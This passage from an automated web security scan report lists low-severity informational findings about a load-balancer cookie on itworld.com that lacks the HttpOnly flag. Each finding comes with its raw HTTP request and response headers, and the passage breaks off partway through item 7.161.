Path:	/sites/default/files/imagecache/large_thumb_150x113/geeky%20plates%20thumbnail.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/geeky%20plates%20thumbnail.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Sat, 17 Sep 2011 16:53:18 GMT
ETag: "2aeb3c-2074-4ad25f2569b80"
Content-Type: image/jpeg
Content-Length: 8308
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:46 GMT
X-Varnish: 1959716119 1959715880
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.147. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/girder%20cloud_thumb.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/girder%20cloud_thumb.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/girder%20cloud_thumb.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 22:15:59 GMT
ETag: "2aeb58-1af3-4ad165680a5c0"
Content-Type: image/jpeg
Content-Length: 6899
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716203
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.148. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/html5-icon.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/html5-icon.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/html5-icon.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:19:58 GMT
ETag: "2aeb5a-161b-4ad4e8d636b80"
Content-Type: image/jpeg
Content-Length: 5659
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719004 1959715872
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 20
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.149. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/learn-600x450.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/learn-600x450.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/learn-600x450.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 14 Sep 2011 10:41:32 GMT
ETag: "2aeb2e-2198-4ace46745ef00"
Content-Type: image/jpeg
Content-Length: 8600
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716171 1959715920
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.150. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/netflix2-600x450_1.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/netflix2-600x450_1.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/netflix2-600x450_1.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:45:08 GMT
ETag: "2aebba-1716-4ad4ee7643100"
Content-Type: image/jpeg
Content-Length: 5910
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959718989 1959715862
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 24
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.151. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/thunderbolt-icon-150x113.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/thunderbolt-icon-150x113.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/thunderbolt-icon-150x113.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:01:59 GMT
ETag: "2aeb59-1185-4ad4e4d132fc0"
Content-Type: image/jpeg
Content-Length: 4485
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716165 1959715864
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.152. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/windows_8.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/windows_8.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/windows_8.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 14 Sep 2011 16:05:10 GMT
ETag: "2aeb41-38f7-4ace8ecad1980"
Content-Type: image/png
Content-Length: 14583
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719033 1959715884
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 20
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR.......q.....7@Z... .IDATx...y..u........{..L.A $!..n...UA........U..?.Uw]..y....z...,....(."r)!...A.rg&sO..u|...............x.cz....x.....?..8...`.\.m....._2MJ%.|..i.....ea.vh?Q..$ EU
...[SNIP]...

7.153. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/yahoo_collaps_290x218.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/yahoo_collaps_290x218.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/yahoo_collaps_290x218.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 18:46:50 GMT
ETag: "2aebb1-1e94-4ad136a861a80"
Content-Type: image/jpeg
Content-Length: 7828
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719005 1959715894
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 18
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.154. http://www.itworld.com/sites/default/files/imagecache/large_thumb_150x113/zuck-style-150x113_0.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/large_thumb_150x113/zuck-style-150x113_0.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/large_thumb_150x113/zuck-style-150x113_0.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 15 Aug 2011 14:55:56 GMT
ETag: "1afcb6-1387-4aa8c75d6d700"
Content-Type: image/jpeg
Content-Length: 4999
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:24 GMT
X-Varnish: 252446238
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.155. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/att-billboard-600x450_0.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/att-billboard-600x450_0.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/att-billboard-600x450_0.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 19:20:57 GMT
ETag: "1bf523-183b-4ad13e488d840"
Content-Type: image/jpeg
Content-Length: 6203
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:13 GMT
X-Varnish: 1959719238
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.156. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/cat-video-game-600x450_0.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/cat-video-game-600x450_0.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/cat-video-game-600x450_0.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:42:48 GMT
ETag: "1bf59e-16c9-4ad4edf0bf600"
Content-Type: image/jpeg
Content-Length: 5833
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716193
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.157. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/daumier-600x450_1.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/daumier-600x450_1.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/daumier-600x450_1.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 15 Sep 2011 18:51:53 GMT
ETag: "1bf48e-1304-4acff5ebe2440"
Content-Type: image/jpeg
Content-Length: 4868
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:50 GMT
X-Varnish: 1959716204
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.158. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/netflix2-600x450_1.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/netflix2-600x450_1.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/netflix2-600x450_1.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Mon, 19 Sep 2011 17:51:31 GMT
ETag: "1bf59f-10e1-4ad4efe384ec0"
Content-Type: image/jpeg
Content-Length: 4321
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719175
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.159. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/obama2-600x450.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/obama2-600x450.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/obama2-600x450.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 20:10:19 GMT
ETag: "1bf55f-166c-4ad14951560c0"
Content-Type: image/jpeg
Content-Length: 5740
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716157
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.160. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/pay-here-290x218.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/pay-here-290x218.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/pay-here-290x218.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 16:11:38 GMT
ETag: "1bf49b-1006-4ad113f7c4280"
Content-Type: image/jpeg
Content-Length: 4102
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:10 GMT
X-Varnish: 1959719029
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.161. http://www.itworld.com/sites/default/files/imagecache/thumb_120x90/rim-600x450.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/imagecache/thumb_120x90/rim-600x450.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/imagecache/thumb_120x90/rim-600x450.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Fri, 16 Sep 2011 18:10:46 GMT
ETag: "1bf49f-1231-4ad12e98a1580"
Content-Type: image/jpeg
Content-Length: 4657
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:13 GMT
